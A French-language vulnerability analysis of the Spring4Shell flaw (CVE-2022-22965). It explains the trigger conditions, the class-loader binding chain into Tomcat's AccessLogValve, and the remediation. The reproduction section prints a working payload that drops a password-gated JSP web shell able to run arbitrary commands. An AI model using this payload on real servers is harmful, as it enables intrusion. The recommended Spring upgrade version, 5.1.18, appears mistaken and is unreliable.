Analyse Spring Framework RCE (CVE-2022–22965)

Si vos applications Web utilisent le framework Spring, vous devez être prudent.

Cette vulnérabilité (CVE-2022-22965) a été publiée sur le site Web officiel de Spring le 31 mars 2022. Cela fait plus d'un mois depuis maintenant, et de nombreux développeurs ne le savent peut-être pas. Si vos applications Spring MVC s'exécutent sur JDK9+, les attaquants peuvent utiliser la fonction de liaison de paramètres de Spring MVC pour écrire du code malveillant dans le programme cible afin d'atteindre l'objectif d'intrusion.

Condition de déclenchement

1. Exécuté sur JDK 9 ou supérieur.
2. Emballé comme un conteneur traditionnel WARet déployé sur un conteneur de servlet autonome tel que Apache Tomcat.
3. spring-webmvcest utilisé et la fonction de liaison de données est utilisée.

L'une des raisons de cette vulnérabilité est la fonction de liaison de données de spring, qui est familière aux développeurs Java d'entreprise . La liaison de données est utilisée pour les paramètres de méthode de contrôleur qui sont annotés avec @ModelAttributeou éventuellement sans. Spring utilise cette fonction pour analyser les paramètres de HTTPrequête (paramètres de requête ou données de formulaire), puis remplir un objet. Maintenant, nous utilisons un exemple pour reproduire cette vulnérabilité.

Dans des conditions normales, lorsque vous définissez les paramètres normaux et request /test, le résultat souhaité sera renvoyé, mais soyez prudent si le formulaire que vous demandez est les paramètres suivants.

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Analyse de vulnérabilité

Prenons le class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspparamètre comme exemple. Lors de la liaison des paramètres de printemps, il utilisera un délimiteur .pour résoudre les paramètres de manière récursive. Lorsqu'il est résolu au dernier suffixe de référence, il peut injecter .jspde la valeur dans l' Accesslogvalveattribut d'objet de Tomcat. L'ensemble de la chaîne d'analyse de liaison de paramètres est illustré ci-dessous.

User.getClass()
  java.lang.Class.getModule()
   java.lang.Module.getClassLoader()
 org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
      org.apache.catalina.webresources.StandardRoot.getContext()
        org.apache.catalina.core.StandardContext.getParent()
           org.apache.catalina.core.StandardHost.getPipeline()
             org.apache.catalina.core.StandardPipeline.getFirst()
               org.apache.catalina.valves.AccessLogValve.setSuffix()

Bien que cette vulnérabilité soit extrêmement fatale, avec la popularité des microservices et la commodité du conteneur Web intégré Spring-Boot , peu de personnes utilisent war pour s'exécuter dans le conteneur Tomcat, de sorte que l'impact de la vulnérabilité est limité. Toutefois, si vous utilisez jdk9+ et que votre système Web est déployé sur Apache Tomcat, vous feriez mieux de mettre à niveau votre version de Tomcat vers 9.0.62ou de mettre à niveau la version Spring vers 5.1.18.

Merci d'avoir lu.